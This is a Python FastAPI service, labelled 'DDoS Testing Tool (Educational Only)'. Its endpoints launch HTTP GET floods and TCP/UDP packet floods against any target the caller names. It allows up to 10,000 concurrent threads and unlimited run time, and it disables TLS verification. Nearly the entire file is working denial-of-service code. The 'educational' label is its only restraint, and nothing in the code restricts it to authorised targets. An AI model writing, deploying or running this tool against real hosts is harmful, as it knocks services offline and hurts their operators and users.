# main.py
import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, conint, constr
import threading
import requests
import time
import logging
import socket
import random
from concurrent.futures import ThreadPoolExecutor

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

app = FastAPI(title="DDoS Testing Tool (Educational Only)")

# Global attack control
attack_active = False
attack_thread = None
executor = ThreadPoolExecutor(max_workers=10000)  # Maximum power mode

class Layer7Config(BaseModel):
    target: str
    port: int = 80
    duration: int = 30  # -1 for unlimited
    threads: int = 100  # -1 for unlimited

class Layer4Config(BaseModel):
    target: str
    port: int = 80
    duration: int = 30  # -1 for unlimited
    threads: int = 100  # -1 for unlimited
    protocol: constr(regex='^(tcp|udp)$') = "tcp"
    payload_size: int = 1024

def generate_payload(size: int) -> bytes:
    """Generate random payload for Layer 4 attacks"""
    return bytes(random.getrandbits(8) for _ in range(size))

def layer7_attack(target_url: str):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Connection": "keep-alive",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache"
    }
    session = requests.Session()
    while attack_active:
        try:
            session.get(target_url, headers=headers, timeout=5, verify=False)
        except:
            pass

def layer4_attack(target_ip: str, port: int, protocol: str, payload_size: int):
    sock = None
    try:
        if protocol == "tcp":
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            sock.connect((target_ip, port))
        else:  # udp
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        while attack_active:
            payload = generate_payload(payload_size)
            if protocol == "tcp":
                sock.send(payload)
            else:
                sock.sendto(payload, (target_ip, port))
            time.sleep(0.01)  # Small delay to prevent CPU overload
    except Exception as e:
        logger.error(f"Layer 4 attack error: {e}")
    finally:
        if sock:
            sock.close()

def start_layer7_attack(config: Layer7Config):
    global attack_active
    attack_active = True

    # Determine thread count
    thread_count = config.threads if config.threads != -1 else 10000

    # Build target URL
    protocol = "https" if config.target.startswith("https") else "http"
    target_url = f"{config.target}:{config.port}"
    logger.info(f"Starting Layer 7 attack on {target_url} with {thread_count} threads")

    for _ in range(thread_count):
        executor.submit(layer7_attack, target_url)

    # Handle unlimited duration (-1)
    if config.duration != -1:
        time.sleep(config.duration)
        stop_attack()
    else:
        logger.info("Layer 7 attack running indefinitely until manually stopped")

def start_layer4_attack(config: Layer4Config):
    global attack_active
    attack_active = True

    # Determine thread count
    thread_count = config.threads if config.threads != -1 else 10000

    # Extract IP from target URL
    try:
        target_ip = socket.gethostbyname(config.target.split("//")[-1].split("/")[0])
    except:
        raise HTTPException(status_code=400, detail="Invalid target URL")

    logger.info(f"Starting {config.protocol.upper()} attack on {target_ip}:{config.port} with {thread_count} threads")

    for _ in range(thread_count):
        executor.submit(layer4_attack, target_ip, config.port, config.protocol, config.payload_size)

    # Handle unlimited duration (-1)
    if config.duration != -1:
        time.sleep(config.duration)
        stop_attack()
    else:
        logger.info(f"{config.protocol.upper()} attack running indefinitely until manually stopped")

def stop_attack():
    global attack_active
    attack_active = False
    logger.info("Attack stopped.")

@app.post("/layer7/attack")
def launch_layer7_attack(config: Layer7Config):
    global attack_thread
    if attack_thread and attack_thread.is_alive():
        raise HTTPException(status_code=400, detail="Attack already in progress")

    # Validate thread count
    if config.threads != -1 and config.threads > 10000:
        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")

    # Validate duration
    if config.duration != -1 and config.duration > 5000:
        raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")

    attack_thread = threading.Thread(target=start_layer7_attack, args=(config,), daemon=True)
    attack_thread.start()
    return {"status": "layer7_attack_started", "config": config}

@app.post("/layer4/attack")
def launch_layer4_attack(config: Layer4Config):
    global attack_thread
    if attack_thread and attack_thread.is_alive():
        raise HTTPException(status_code=400, detail="Attack already in progress")

    # Validate thread count
    if config.threads != -1 and config.threads > 10000:
        raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")

    # Validate duration
    if config.duration != -1 and config.duration > 5000:
        raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")

    # Validate payload size
    if config.payload_size > 65507:
        raise HTTPException(status_code=400, detail="Max payload size is 65507 bytes")

    attack_thread = threading.Thread(target=start_layer4_attack, args=(config,), daemon=True)
    attack_thread.start()
    return {"status": f"{config.protocol}_attack_started", "config": config}

@app.post("/stop")
def stop():
    stop_attack()
    return {"status": "attack_stopped"}

@app.get("/status")
def status():
    return {"attack_active": attack_active}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)